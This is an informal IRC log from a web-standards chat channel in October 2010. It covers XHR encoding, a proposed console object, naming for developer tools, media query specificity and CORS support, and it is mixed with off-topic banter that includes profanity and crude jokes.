.rT and .rX use the same encoding, no?

[17:39:01.0000] <Hixie>
well the methods just make things simpler to trigger

[17:39:02.0000] <jamesr_>
we just pass .rT to the XML parser to generate responseXML

[17:39:03.0000] <annevk>
jamesr_, I don't really like putting the complexity on authors; Mozilla indicated they would be willing to have both responseArrayBuffer and responseText; so did Maciej

[17:40:00.0000] <jamesr_>
responseArrayBuffer is orthogonal

[17:40:01.0000] <annevk>
no not really

[17:40:02.0000] <jamesr_>
if you are touching responseArrayBuffer then the overrideMimeType is irrelevant (since you are touching the raw bytes)

[17:40:03.0000] <annevk>
if responseArrayBuffer is always there overrideMimeType always working would not be an issue

[17:40:04.0000] <jamesr_>
i don't think so

[17:41:00.0000] <jamesr_>
depends on the exact semantics of responseArrayBuffer

[17:41:01.0000] <annevk>
because you could just recompute responseText et al when asked for

[17:41:02.0000] <jamesr_>
but that would _suck_ hardcore

[17:41:03.0000] <jamesr_>
re-decoding on access is unfeasible for XHR

[17:41:04.0000] <jamesr_>
i think mozilla tried that once

[17:41:05.0000] <jamesr_>
after you decode you have to store the decoded text

[17:41:06.0000] <annevk>
the Gecko developers are the ones not opposed

[17:41:07.0000] <annevk>
well sure, you can cache it

[17:42:00.0000] <jamesr_>
gecko doesn't support overrideMimeType as it is currently spec'd

[17:42:01.0000] <annevk>
I'm not saying you shouldn't do that

[17:42:02.0000] <jamesr_>
i don't think overrideMimeType should require keeping extra copies of the data around. whether responseArrayBuffer does is another discussion (that should probably happen on the list)

[17:43:00.0000] <annevk>
if responseArrayBuffer is always there I don't think that overrideMimeType always working adds much complexity

[17:43:01.0000] <annevk>
if resonseArrayBuffer is not always there that changes things

[17:44:00.0000] <jamesr_>
i don't think allowing overrideMimeType at arbitrary times adds much value, either

[17:44:01.0000] <annevk>
and yes, that should be discussed on the list; I myself have been occupied with some other things

[17:45:00.0000] <jamesr_>
the practical side of this is that pretty much everything in the world currently touches responseText and responseText only, so it's really important that we not regress that use case

[17:46:00.0000] <jamesr_>
anyway i understand being busy :). please respond when you do get a chance

[17:47:00.0000] <jamesr_>
i'm out for a while myself so i may not reply instantly

[17:47:01.0000] <annevk>
*sleep*

[17:48:00.0000] <annevk>
/me puts xhr in his agenda

[19:53:00.0000] <MikeSmith>
sroussey: hola

[19:54:00.0000] <sroussey>
Hi

[19:57:00.0000] <sroussey>
So maybe next week I can come up with some idea of what a console object should contain. Some things are well supported (console.log) and some are not (console.groupCollapsed) across browsers. It would be nice if debug code didn't have to have browser switches.

[20:01:00.0000] <Aleoss>
TotalValidator says I should use the summary attribute of the table element to make it comply with WAI, but when I put it in, it says that I should consider an alternative to summary. Any ideas? I'm using HTML5.

[20:02:00.0000] <Aleoss>
Anyone?

[20:06:00.0000] <MikeSmith>
sroussey: that would be good

[20:06:01.0000] <MikeSmith>
sroussey: this is probably one the best places to get quick feedback

[20:07:00.0000] <sroussey>
:) Good to know

[20:07:01.0000] <MikeSmith>
Aleoss: no idea what TotalValidator is

[20:50:00.0000] <MikeSmith>
I supposed "i utvikling" is probably not the best way to translate "in development"

[20:52:00.0000] <MikeSmith>
hmm

[20:52:01.0000] <MikeSmith>
or maybe it is

[20:52:02.0000] <MikeSmith>
http://da.wikipedia.org/wiki/Softwareudvikling

[20:53:00.0000] <MikeSmith>
is ud-/ut- a prefix of some kind?

[20:59:00.0000] <MikeSmith>
out

[21:04:00.0000] <MikeSmith>
vikling = winding?

[21:44:00.0000] <aho>
i want the jng format back

[21:45:00.0000] <aho>
in those cases where it makes sense to use, png32 is the only option, but unfortunately png32 is *much* larger

[21:45:01.0000] <aho>
https://bugzilla.mozilla.org/show_bug.cgi?id=195280 <- nowadays their reasoning looks sorta silly

[21:46:00.0000] <aho>
given that i've seen sites which use a >300kb png32 as workaround

[21:47:00.0000] <aho>
mng is sorta pointless though

[21:47:01.0000] <aho>
but just jng... how hard could it be? :>

[21:48:00.0000] <aho>
i mean... if you can decode jpg and if you can read a png... you already got all the parts you need for reading jng

[21:48:01.0000] <aho>
(yea, this isn't really the right place for this... just rambling a bit here) :>

[21:52:00.0000] <MikeSmith>
what would be a good precise term to classify Firebug, Web Inspector, Dragonfly, etc.?

[21:53:00.0000] <MikeSmith>
Web developer debugging tools?

[21:53:01.0000] <MikeSmith>
Web application debugging tools

[21:56:00.0000] <MikeSmith>
or thinking of it in terms of what aspects of the tools have potential to be standardized across apps

[21:56:01.0000] <MikeSmith>
interfaces

[21:56:02.0000] <aho>
"web development tools" is used by wikipedia

[21:56:03.0000] <MikeSmith>
like the console object

[21:56:04.0000] <MikeSmith>
aho: yeah, not nearly precise enough for my needs

[21:56:05.0000] <MikeSmith>
Dreamweaver is a "web development tool"

[21:56:06.0000] <aho>
so is filezilla ;)

[21:57:00.0000] <MikeSmith>
"Web application debugging" interfaces

[21:57:01.0000] <aho>
but yea, it's odd that there doesnt seem to be a better name for this stuff

[21:57:02.0000] <MikeSmith>
dunno if "debugging" is the best word

[21:57:03.0000] <MikeSmith>
I guess I will go with "debugging" for now

[21:58:00.0000] <MikeSmith>
and "Web application debugging"

[21:58:01.0000] <aho>
you dont necessarily do debugging with it though

[21:58:02.0000] <MikeSmith>
rather than "Web developer debugging"

[21:58:03.0000] <MikeSmith>
aho: so what other tasks do you do?

[21:58:04.0000] <aho>
you can write css with it :>

[21:58:05.0000] <MikeSmith>
"debugging" is a pretty loose term in practice

[21:59:00.0000] <aho>
you can also do performance analysis stuff

[22:05:00.0000] <MikeSmith>
hmm

[22:05:01.0000] <MikeSmith>
true

[22:06:00.0000] <MikeSmith>
we have a group for that already

[22:06:01.0000] <MikeSmith>
Web Performance WG

[22:06:02.0000] <MikeSmith>
http://www.w3.org/2010/webperf/

[22:07:00.0000] <MikeSmith>
but that scope is too limiting

[22:07:01.0000] <MikeSmith>
it's only about performance

[22:11:00.0000] <MikeSmith>
sroussey: any suggestions?

[22:34:00.0000] <MikeSmith>
goodbye datagrid

[22:34:01.0000] <MikeSmith>
we barely knew yah

[22:39:00.0000] <karlcow>
http://ajaxian.com/archives/birth-of-the-datagrid-element-in-html-5

[22:40:00.0000] <karlcow>
http://blog.whatwg.org/this-week-in-html-5-episode-31

[22:40:01.0000] <karlcow>
http://html5.org/tools/web-apps-tracker?from=2961&to=2962

[22:40:02.0000] <karlcow>
was looking for the inception date 2009-04-18

[22:41:00.0000] <karlcow>
to http://html5.org/tools/web-apps-tracker?from=5643&to=5644 2010-10-22 23:12

[02:51:00.0000] <annevk>
yay Hixie for writing up that CP for ISSUE-27

[03:02:00.0000] <annevk>
I do hope we get a replacement for <datagrid> within some reasonable amount of time

[03:15:00.0000] <hsivonen>
annevk: <table> + ARIA + JS lib

[03:19:00.0000] <annevk>
right, as I said...

[06:36:00.0000] <webr3>
annevk, anybody from opera, is CORS "Access-Control-Allow-Origin" supported by opera? 

[06:36:01.0000] <gsnedders>
webr3: No

[06:36:02.0000] <gsnedders>
webr3: But will be in future

[06:37:00.0000] <webr3>
lol gsnedders!

[06:37:01.0000] <webr3>
thought best to double check that one :p

[06:37:02.0000] <gsnedders>
webr3: Well, I _do_ fall into the "anybody from opera" category :)

[06:38:00.0000] <Dashiva>
What if I work for an opera house?

[06:40:00.0000] <webr3>
gsnedders, cool didn't realise - and thus apologies!

[06:40:01.0000] <gsnedders>
webr3: Not realizing seemed like the plausible explanation — no need to apologize! :)

[09:36:00.0000] <sroussey>
MikeSmith: we sometimes loosely use "Browser Tools" or Browser Developer Tools. Note that I've seen people reuse Web Inspector to attach to V8/node server side javascript, but I don't think we need worry about that for the console object

[09:41:00.0000] <micheil_mbp>
sroussey: I've not seen that with v8/node, got a link?

[09:45:00.0000] <sroussey>
http://github.com/dannycoates/node-inspector

[09:53:00.0000] <micheil>
ah

[09:53:01.0000] <micheil>
I always thought that was console based

[09:53:02.0000] <micheil>
(command line)

[10:02:00.0000] <sroussey>
It is, but you can have an agent relay events to a a browser, even events that are happening in the server itself

[10:02:01.0000] <micheil>
ah, cool

[10:02:02.0000] <micheil>
I've never really looked at it much

[10:05:00.0000] <MikeSmith>
sroussey: it seems like "browser tools" could mean a whole lot of things

[10:06:00.0000] <MikeSmith>
and "browser developer tools" sounds like something for developing browsers

[10:06:01.0000] <sroussey>
yes, true... 

[10:07:00.0000] <sroussey>
Then you are back to "Web Developer Tools for Browsers" or some such.

[10:08:00.0000] <MikeSmith>
I'm at "Web application debugging"

[10:08:01.0000] <MikeSmith>
I'm not even sure about "tools"

[10:08:02.0000] <MikeSmith>
because what I need to describe are not the tools

[10:09:00.0000] <MikeSmith>
but the scope

[10:09:01.0000] <MikeSmith>
I am thinking "analysis" is another word that could be used

[10:09:02.0000] <MikeSmith>
"Web application analysis and debugging"

[10:09:03.0000] <MikeSmith>
maybe

[10:09:04.0000] <MikeSmith>
it's never fun to try to pick a name for any of this stuff

[10:25:00.0000] <sroussey>
No it is not!

[10:26:00.0000] <sroussey>
No fun at all... but  "Web application analysis and debugging" is pretty decent

[10:26:01.0000] <Aleoss>
MikeSmith: Pick an acronym that can sound dirty. ;)

[10:26:02.0000] <sroussey>
Probably the most accurate I've seen

[10:27:00.0000] <MikeSmith>
Aleoss: I always try

[10:27:01.0000] <Aleoss>
MikeSmith: Examples: CLIT (Continuum Level/INI Toolkit) or ASSS (A Small Subspace Server) for this game called Continuum

[10:27:02.0000] <MikeSmith>
heh

[10:27:03.0000] <MikeSmith>
I like the way you think

[10:27:04.0000] <sroussey>
Heh, makes WAAD seem so pedestrian

[10:27:05.0000] <MikeSmith>
:)

[10:32:00.0000] <Aleoss>
MikeSmith: Just do WAD (Web Analysis Debugging) and figure out how to prefix CUM  to the start of it.

[10:34:00.0000] <MikeSmith>
that's what we need more of

[10:35:00.0000] <MikeSmith>
for the Web platform

[10:35:01.0000] <MikeSmith>
more Redd Foxx

[10:35:02.0000] <MikeSmith>
more Chinga Chavin

[10:35:03.0000] <MikeSmith>
more Blowfly

[10:36:00.0000] <MikeSmith>
or short of that, more Kool Keith at least

[10:36:01.0000] <MikeSmith>
or more Kinky Friedman

[12:18:00.0000] <eboyjr>
I have a proposol for the DOM

[12:19:00.0000] <eboyjr>
I think that there should be an event for when window.location.href changes

[12:19:01.0000] <eboyjr>
Right now polling is not really the best way to do it

[12:19:02.0000] <eboyjr>
That's all thanks

[12:19:03.0000] <eboyjr>
:)

[12:20:00.0000] <boogyman>
eboyjr: as with the other channel, it's still okay to NOT use the enter button as punctuation :-s

[12:21:00.0000] <eboyjr>
boogyman: Yeah whoops :/

[12:22:00.0000] <Dashiva>
eboyjr: Isn't that what onhashchange does?

[12:24:00.0000] <eboyjr>
Dashiva: Yeah it does, -.- thanks

[13:10:00.0000] <karlcow>
.

[13:11:00.0000] <karlcow>
/me is not sure to understand hixie's answer. It seems to move the outpost of the issue. (cf. rel)

[13:12:00.0000] <karlcow>
RISKS

[13:12:01.0000] <karlcow>
We might have to update the spec at some point in the future if for 

[13:12:02.0000] <karlcow>
whatever reason the registry moves to another URL. However, that's a risk 

[13:12:03.0000] <karlcow>
regardless of what solution we use, since if someone sets up a competing 

[13:12:04.0000] <karlcow>
registry that wins in the market, we'd have to update the spec to point to 

[13:12:05.0000] <karlcow>
that registry even if the previosuly "official" one still existed.

[13:13:00.0000] <karlcow>
/me wonders if a separate spec for rel values if it is expected to change more often would be needed and then could be used by other specs. 

[13:15:00.0000] <Hixie>
the HTML spec is going to change far more often than the rel spec

[13:19:00.0000] <karlcow>
ok so no issue and no risk.

[14:38:00.0000] <MikeSmith>
I can see it making sense to have a rel spec that normatively references the HTML5 spec

[14:38:01.0000] <MikeSmith>
and possibly other specs

[14:39:00.0000] <MikeSmith>
like the RFC that mnot mentions that defines use of the license link type for Atom

[14:40:00.0000] <MikeSmith>
I especially can see it making sense if it calms some people down and lets us move on

[14:41:00.0000] <Ms2ger>
You think those people are ready to be calmed down?

[14:42:00.0000] <MikeSmith>
Ms2ger: maybe not, but I hope it might help to redirect some energy to other places

[14:42:01.0000] <MikeSmith>
other places where it might be more productively applied

[14:43:00.0000] <MikeSmith>
it would be great if we had more people who understood the spirit of the "Something is wrong on the Internet" meme

[14:48:00.0000] <Dashiva>
Did you mean: Someone is wrong on the internet

[14:49:00.0000] <Ms2ger>
He meant "MikeSmith is wrong on the Internet."

[14:50:00.0000] <MikeSmith>
I am definitely wrooong

[14:50:01.0000] <MikeSmith>
just like am baaad

[14:50:02.0000] <Dashiva>
Can you please stop, I want to sleep tonight...

[14:50:03.0000] <MikeSmith>
and I am wicked

[14:51:00.0000] <MikeSmith>
I am the mutha who put the word "fuck" in muthafucker.

[14:52:00.0000] <Dashiva>
So how would you translate badass into Japanese?

[14:54:00.0000] <MikeSmith>
hmm

[14:54:01.0000] <MikeSmith>
good question

[14:54:02.0000] <paul_irish>
does a media query change selector specificity?

[14:55:00.0000] <paul_irish>
feels like it should.. though i see nothing in the specs indicating that.

[14:55:01.0000] <MikeSmith>
paul_irish: not in the CSS specs either?

[14:55:02.0000] <MikeSmith>
I mean, not just in the selector api spec

[14:56:00.0000] <MikeSmith>
Dashiva: I do realize the comic is "someone", but I think the meme is more about "something"

[14:56:01.0000] <MikeSmith>
but maybe that's just me

[14:56:02.0000] <Dashiva>
I think so

[14:57:00.0000] <MikeSmith>
well, then, no wonder more people don't understand it!

[14:57:01.0000] <MikeSmith>
I'm the only one who uses it that way

[14:57:02.0000] <Dashiva>
See the title text of the comic

[14:58:00.0000] <MikeSmith>
yeah, I remember that

[14:58:01.0000] <MikeSmith>
"they won't quit being wrong"

[14:58:02.0000] <MikeSmith>
or whatever it says

[14:59:00.0000] <MikeSmith>
anyway, something is clearly wrong on the Internet, if people can't just can't think about particular memes the same way I do

[14:59:01.0000] <MikeSmith>
paul_irish: I am looking at the specs now

[14:59:02.0000] <MikeSmith>
fwiw

[14:59:03.0000] <Dashiva>
But surely it's not only wrong on the internet :P

[15:00:00.0000] <MikeSmith>
heh

[15:01:00.0000] <paul_irish>
MikeSmith: just tested it in everywhere but IE and media queries seem to not increase specifity

[15:01:01.0000] <MikeSmith>
paul_irish: maybe dbaron would now

[15:01:02.0000] <MikeSmith>
*know

[15:01:03.0000] <karlcow>
someone can't be wrong in Japan :)

[15:02:00.0000] <paul_irish>
MikeSmith: Should i file a ticket somewhere so this can be noted in the selector api spec?

[15:02:01.0000] <dbaron>
media queries don't increase specificity

[15:02:02.0000] <paul_irish>
ta

[15:02:03.0000] <MikeSmith>
paul_irish: should file if it's not clear, yeah

[15:03:00.0000] <MikeSmith>
dbaron: is there a particular place in a spec where this is addressed that paul_irish might have missed?

[15:03:01.0000] <dbaron>
well, the spec doesn't say anything about them increasing specificity

[15:03:02.0000] <dbaron>
so there's no particular place

[15:03:03.0000] <MikeSmith>
heh

[15:03:04.0000] <MikeSmith>
fair enough

[15:04:00.0000] <MikeSmith>
so it might be worth adding something to make it clear

[15:04:01.0000] <MikeSmith>
I think anne is the one working most actively on the MQ spec right now

[15:04:02.0000] <MikeSmith>
paul_irish: CSS WG doesn't use bugzilla and doesn't have an automated tracker otherwise

[15:04:03.0000] <MikeSmith>
iirc

[15:05:00.0000] <paul_irish>
Oh! :) okay. i'll just bug anne next time i see him

[15:05:01.0000] <MikeSmith>
last time I had changes about MQ spec to suggest, I e-mailed them to anne and cc'ed www-archive

[15:10:00.0000] <MikeSmith>
Dashiva: あいつすごい

[15:10:01.0000] <MikeSmith>
maybe

[15:10:02.0000] <MikeSmith>
すげぇあいつ

[15:11:00.0000] <MikeSmith>
あいつスゲーなー

[15:11:01.0000] <MikeSmith>
etc.

[15:12:00.0000] <karlcow>
déclaration d'amour

[15:13:00.0000] <Ms2ger>
/me wonders why there's no bugzilla component for web dom core

[15:13:01.0000] <karlcow>
すげぇ… hmmm ちょっと…

[15:13:02.0000] <MikeSmith>
やべあいつ

[15:13:03.0000] <Dashiva>
MikeSmith: Doesn't seem to convey the bad part of badass, though...

[15:13:04.0000] <Dashiva>
Maybe there are no badasses in Japan

[15:13:05.0000] <MikeSmith>
Dashiva: well, translation tools might not do anything useful with that

[15:14:00.0000] <MikeSmith>
but in practice

[15:14:01.0000] <MikeSmith>
やばい、すごい　＋　あいつ

[15:14:02.0000] <MikeSmith>
actually, probably やばい more than すごい

[15:14:03.0000] <MikeSmith>
these days

[15:15:00.0000] <karlcow>
MikeSmith: what is the context of bad ass?

[15:16:00.0000] <MikeSmith>
I dunno

[15:16:01.0000] <MikeSmith>
normal context

[15:17:00.0000] <karlcow>
ok

[15:17:01.0000] <karlcow>
a tough, aggressive, or uncooperative person

[15:18:00.0000] <MikeSmith>
hmm

[15:18:01.0000] <MikeSmith>
maybe

[15:19:00.0000] <MikeSmith>
it's like the word "muthafucker" or "motherfucker"

[15:19:01.0000] <MikeSmith>
it could mean somebody who you think is really great

[15:19:02.0000] <MikeSmith>
or it could be somebody you just really hate

[15:20:00.0000] <MikeSmith>
it depends on how you use it

[15:20:01.0000] <karlcow>
/me has someone whispering: やばい　or いかつい or あぶない

[15:20:02.0000] <MikeSmith>
heh

[15:20:03.0000] <karlcow>
in the context of really bad.

[15:20:04.0000] <Dashiva>
Well, it's sort of both

[15:20:05.0000] <MikeSmith>
karlcow: ask your sources :)

[15:21:00.0000] <MikeSmith>
Dashiva: you know ちょう?

[15:21:01.0000] <Dashiva>
They have the ready-to-be-unleashed potential of being bad, but they aren't actually bad

[15:21:02.0000] <Dashiva>
超?

[15:21:03.0000] <MikeSmith>
this could probably use a ちょう or チョー as well

[15:21:04.0000] <Dashiva>
The prefix for like "super" or "way"?

[15:21:05.0000] <karlcow>
あいつ（that guy）,イカツイ(orやばいorあぶない)よな。

[15:22:00.0000] <MikeSmith>
yeah

[15:22:01.0000] <MikeSmith>
in sense of "super2

[15:22:02.0000] <MikeSmith>
karlcow: ah yeah

[15:22:03.0000] <MikeSmith>
イカツイ

[15:22:04.0000] <MikeSmith>
I hear

[15:22:05.0000] <Aleoss>
MikeSmith: Did you come up with a creative acronym? ;)

[15:22:06.0000] <MikeSmith>
sometimes

[15:22:07.0000] <Dashiva>
I guess that one is decent

[15:23:00.0000] <karlcow>
the positive way 

[15:23:01.0000] <karlcow>
あいつ（that guy）,やばい(orきてるorかっこいい..)

[15:23:02.0000] <karlcow>
but the most current, (she said), would be for positive or negative is やばい

[15:23:03.0000] <MikeSmith>
チョーやべ、あいつ

[15:23:04.0000] <karlcow>
the tone makes the difference

[15:24:00.0000] <MikeSmith>
yeah, if you say it to somebody while they are down on the ground and you are kicking them in the ribs, it has a bit of a different meaning

[15:24:01.0000] <Dashiva>
Should make a new word, やばかっこ or something

[15:26:00.0000] <MikeSmith>
Aleoss: working on it

[15:26:01.0000] <karlcow>
in French, I guess I would use "connard" (for the not positive way)

[15:27:00.0000] <MikeSmith>
Aleoss: been listening to me Blowfly album "Punk rock party"

[15:27:01.0000] <MikeSmith>
for inspiration

[15:28:00.0000] <MikeSmith>
which is a Blowfly pinnacle

[15:28:01.0000] <MikeSmith>
in a long career of pinnacles

[15:28:02.0000] <MikeSmith>
dude always outdoes himself

[15:28:03.0000] <MikeSmith>
and he's like, 100 years old now or something

[15:29:00.0000] <MikeSmith>
he is a genuine inspiration

[15:29:01.0000] <MikeSmith>
he should write motivational books

[15:29:02.0000] <MikeSmith>
like Deepak Chopra and such

[15:29:03.0000] <MikeSmith>
now that would be something

[15:29:04.0000] <MikeSmith>
Blowfly's Guide to Life

[15:29:05.0000] <karlcow>
http://en.wiktionary.org/wiki/badass

[15:30:00.0000] <slartsa>
hey, someone deleted my picture from that site!

[15:31:00.0000] <karlcow>
slartsa: lost+found⊙fc

[15:32:00.0000] <slartsa>
it's hard being sarcastic in IRC

[15:33:00.0000] <karlcow>
and fantastic too

[15:33:01.0000] <karlcow>
or more exactly on any text only communication. 

[15:34:00.0000] <gsnedders>
I find even audio makes a lot of humour hard

[15:34:01.0000] <MikeSmith>
heh, http://en.wiktionary.org/wiki/badass is funny

[15:34:02.0000] <MikeSmith>
"The virile guy just looks badass."

[15:35:00.0000] <MikeSmith>
now, there's a real-world sentence

[15:35:01.0000] <karlcow>
gsnedders: yep. audio only freaks me out too. I need the look/face/body language of people to have a better understanding.

[15:36:00.0000] <karlcow>
I have a record of EPIC misunderstandings with online written texts.

[15:36:01.0000] <MikeSmith>
holy god

[15:37:00.0000] <MikeSmith>
you learn something new every day

[15:37:01.0000] <MikeSmith>
"Paradoxically, Clarence Reid is a staunch, bible-toting Christian"

[15:37:02.0000] <MikeSmith>
http://www.nndb.com/people/559/000087298/

[15:37:03.0000] <gsnedders>
/me basically fell out with an ex-gf (i.e., this is how she became an ex) by a misunderstanding on IM

[15:37:04.0000] <MikeSmith>
[[

[15:37:05.0000] <MikeSmith>
quick to call out hypocritical Christians who chastise him for his ways. "Those muthafuckas should all sit on a giant butt plug," he says. "Most of them don't truly understand what the Bible is saying"

[15:37:06.0000] <karlcow>
/me has no idea what MikeSmith is talking about :)

[15:37:07.0000] <MikeSmith>
amen to that

[15:38:00.0000] <MikeSmith>
karlcow: most nobody else does either

[15:38:01.0000] <MikeSmith>
I reckon

[15:38:02.0000] <MikeSmith>
so I will shut up

[15:38:03.0000] <karlcow>
no no

[15:38:04.0000] <MikeSmith>
hey

[15:38:05.0000] <karlcow>
I would prefer to understand who is clarence reid

[15:39:00.0000] <MikeSmith>
the "sit on a giant butt plug" part makes me think of MLW

[15:39:01.0000] <MikeSmith>
maybe Blowfly is MLW!!

[15:39:02.0000] <MikeSmith>
it so fits

[15:39:03.0000] <karlcow>
giant butt plug can't be that bad. OT would say it's all a question of breathing

[15:39:04.0000] <MikeSmith>
heh

[15:39:05.0000] <Ms2ger>
MLW and MikeSmith both start with an M. Coincidence?

[15:40:00.0000] <MikeSmith>
Ms2ger: sign from God

[15:41:00.0000] <karlcow>
Ms2ger too with a  M, and without forgetting the murderer of Dusseldorf

[15:41:01.0000] <karlcow>
Hans Beckert

[15:43:00.0000] <karlcow>
could that be a way to select Change Proposals? http://www.boingboing.net/2010/10/23/old-film-rejection-s.html

[16:06:00.0000] <karlcow>
http://ivory.idyll.org/blog/oct-10/sky-is-falling

[16:15:00.0000] <Dashiva>
karlcow: I like how the very first comment is "the tools will save us"

[16:16:00.0000] <karlcow>
they always do somehow, sometimes brutally. BOOM!

[16:18:00.0000] <MikeSmith>
of course the tools will ultimately destroy us

[16:18:01.0000] <MikeSmith>
and replace us with tools

[16:20:00.0000] <Dashiva>
hey will save us from our untoolness

[16:20:01.0000] <MikeSmith>
Dashiva: you just want to be a tool

[16:20:02.0000] <karlcow>
I had this dream one night of this week where we found a way to outlive our bodies and we were put in a sort of supercomputer where we could continue to live without limit of space and time (digital world, mathematical metaphor) but…

[16:20:03.0000] <MikeSmith>
hey , you are already a tool!

[16:21:00.0000] <MikeSmith>
just kidding

[16:21:01.0000] <MikeSmith>
I'm a tool too

[16:21:02.0000] <karlcow>
then suddenly an animal comes around, or just a rock falling on the on/off button and extinct all civilizations :) zwwwwiiiig.

[16:21:03.0000] <MikeSmith>
karlcow: nobody wants to hear about your dreams

[16:21:04.0000] <MikeSmith>
BORING

[16:22:00.0000] <MikeSmith>
what lame dream

[16:22:01.0000] <Dashiva>
<karlkow> or just a rock falling on the planet earth and extinct all civilizations :) zwwwwiiiig.

[16:22:02.0000] <MikeSmith>
it does have some violence though

[16:22:03.0000] <karlcow>
:D there's a dream with MikeSmith too… but cough

[16:22:04.0000] <MikeSmith>
heh

[16:22:05.0000] <MikeSmith>
put some sex into that dream

[16:22:06.0000] <MikeSmith>
some nasty stuff

[16:22:07.0000] <MikeSmith>
then you may have something

[16:22:08.0000] <MikeSmith>
some bestiality maybe

[16:23:00.0000] <MikeSmith>
you got an animal in there already

[16:23:01.0000] <MikeSmith>
so that's a plus

[16:23:02.0000] <MikeSmith>
work with it

[16:23:03.0000] <karlcow>
/me is making mental images for tonight

[16:24:00.0000] <MikeSmith>
man, I am really filling up the channel with crap today

[16:24:01.0000] <MikeSmith>
I would hate to see these logs

[16:24:02.0000] <MikeSmith>
people reading the logs: sorry

[16:25:00.0000] <MikeSmith>
actually, not sorry

[16:25:01.0000] <MikeSmith>
if you are reading the logs of this channel, you are lame

[16:25:02.0000] <Dashiva>
Seppuku is the only way out now, MikeSmith

[16:25:03.0000] <MikeSmith>
and you need to get a real life

[16:25:04.0000] <MikeSmith>
Dashiva: I tried that once

[16:25:05.0000] <MikeSmith>
with a butter knife

[16:25:06.0000] <MikeSmith>
too much work

[16:26:00.0000] <MikeSmith>
hey, good example of "tools will save us"

[16:26:01.0000] <MikeSmith>
if I had had a real knife, I wouldn't be here now

[16:27:00.0000] <karlcow>
hmm wood sword already done

[16:36:00.0000] <gsnedders>
Hah, awesome. Club till 2am on the 31st Oct. But the clocks go back here at 2am on the 31st :)

[16:36:01.0000] <gsnedders>
So which 2am…

[16:38:00.0000] <Philip`>
If they go back at 2am, I imagine that means they go to 01:59:59.999... then back to 01:00:00, so it's only 2am once


2010-10-24
[17:14:00.0000] <MikeSmith>
Web-Application Analysis and Debugging Technologies

[17:15:00.0000] <benschwarz>
MikeSmith: Hola :)

[17:16:00.0000] <MikeSmith>
benschwarz: aqui

[17:43:00.0000] <MikeSmith>
http://getfirebug.com/ locks up my Minefield

[17:43:01.0000] <MikeSmith>
hmm

[17:43:02.0000] <MikeSmith>
maybe it's OK

[18:53:00.0000] <karlcow>
/me is doing stupid stats on words into html5

[18:53:01.0000] <karlcow>
word frequency exactly

[18:53:02.0000] <karlcow>
cat HTML5.txt | tr -sc '[A-Z][a-z]' '[\012*]' | sort | uniq -c | sort -nr > html5-sorted.txt

[18:55:00.0000] <karlcow>
first significant noun is "element" (5691)

[19:10:00.0000] <Dashiva>
karlcow: I would include -

[19:26:00.0000] <karlcow>
Dashiva: as an acceptable character?

[19:46:00.0000] <Dashiva>
karlcow: Yes

[03:20:00.0000] <Karen_m>
when designing websites, is there a great resource for learning?  a good book, something/anything?

[03:20:01.0000] <Karen_m>
i stumble when it comes to the design of sites

[03:21:00.0000] <aho>
there probably aren't many designers here

[04:00:00.0000] <webben>
Karen_m: I haven't read it, but I've heard positive things about http://www.amazon.co.uk/Non-designers-Design-Book-Typographic-Principles/dp/1566091594

[04:01:00.0000] <webben>
Karen_m: See also http://usability.gov/ , http://www.amazon.co.uk/Dont-Make-Think-Usability-Circle-Com/dp/0789723107 , http://developer.yahoo.com/ypatterns/ , http://webtypography.net/

[04:03:00.0000] <MikeSmith>
Karen_m: using View Source and developer tools in browser

[04:03:01.0000] <MikeSmith>
*browsers

[04:03:02.0000] <MikeSmith>
like Firebug

[04:04:00.0000] <MikeSmith>
copying somebody's existing CSS locally and modifying it to see what happens

[04:07:00.0000] <Karen_m>
I've been stealing (well, copying/modifying.. but when it comes to my own color schemes or layout, it's horrible :)

[04:09:00.0000] <webben>
Karen_m: Also http://www.adobe.com/products/kuler/ ... re color schemes.

[04:19:00.0000] <MikeSmith>
so we have several different efforts in the works on defining a remote-debugging protocol

[04:20:00.0000] <MikeSmith>
Firebug Crossfire, ChromeDevTools, Opera Dragonfly

[04:21:00.0000] <MikeSmith>
and WebKit Web Inspector protocol?

[04:21:01.0000] <MikeSmith>
which is different from the ChromeDevTools protocol?

[04:22:00.0000] <MikeSmith>
is it time that we should be trying to define a standard protocol for this?

[04:26:00.0000] <MikeSmith>
s/Dragonfly/Scope/

[05:37:00.0000] <annevk>
so it seems I'm lame, but why would Media Queries say anything about specificity?

[05:38:00.0000] <Ms2ger>
Because some people think they would increase specificity

[05:38:01.0000] <Ms2ger>
(No idea why they would)

[05:39:00.0000] <annevk>
that's like thinking an <h1> starts hauling at the moon if you do not enclose it in <section>

[05:39:01.0000] <annevk>
maybe not quite that bad

[05:40:00.0000] <annevk>
but giving stating all the negative cases as well would make specifications almost infinitely long

[05:40:01.0000] <annevk>
s/giving//

[05:47:00.0000] <Ms2ger>
Though css-cascade would probably be a better place for such a note

[06:06:00.0000] <karlcow>
cat HTML5.txt | tr -sc '[A-Z][a-z][\-??]' '[\012*]' | sort | uniq -c | sort -nr > html5-sorted.txt

[06:07:00.0000] <karlcow>
Dashiva: first word with a dash: case-insensitive (154)

[06:08:00.0000] <karlcow>
ah another interesting case, not caught by the current regex :)   80 UTF-

[06:45:00.0000] <karlcow>
above 1000 occurences after removing common words such the, a, etc.: element (5648) | attribute (4219) | U (3630) | must (2579) | value (2337) | user (2113) | elements (1632) | content (1432) | name (1303) | input (1178) | character (1177) | p (1149) | state (1101) | agent (1068) | set (1047) 

[06:46:00.0000] <Ms2ger>
Looks like you need to allow +

[06:46:01.0000] <karlcow>
for U :)

[06:48:00.0000] <karlcow>
or more exactly U+ and digits

[06:49:00.0000] <karlcow>
or more exactly U+ and digits/letters 

[06:59:00.0000] <karlcow>
U+000A (90) | U+0020 (86) | U+002D (73) | U+0030 (69) | U+0009 (67) | U+0039 (62) | U+003E (59) | U+000D (55) | U+003C (49) | U+00338 (49) | U+000C (47) | U+002F (46) | U+0041 (44) | U+005A (39) | U+0022 (35) | U+0061 (32) | U+0027 (31) | U+007A (27) | U+003A (23) | U+0023 (21) | U+0FE00 (20) | U+0026 (20) | U+003B (18) | U+020D2 (17) | U+003D (17) | U+002E (13) | U+002B (13) | U+002C (11) | U+0021 (11) | U+003F (10)

[14:30:00.0000] <hendry>
wiki.whatwg.org doesn't seem to like HTML5 <video controls src="http://static.natalian.org/2010-10-24/html5-vim.ogv">

[16:27:00.0000] <gsnedders>
/me finds pages relying upon input@name being a named getter

[16:39:00.0000] <MikeSmith>
what's the right way to represent variadic args in WebIDL?

[16:40:00.0000] <MikeSmith>
oh

[16:40:01.0000] <MikeSmith>
is there a "variadic" keyword?

[16:40:02.0000] <MikeSmith>
/me tries

[16:42:00.0000] <MikeSmith>
hmm, just "..." I guess

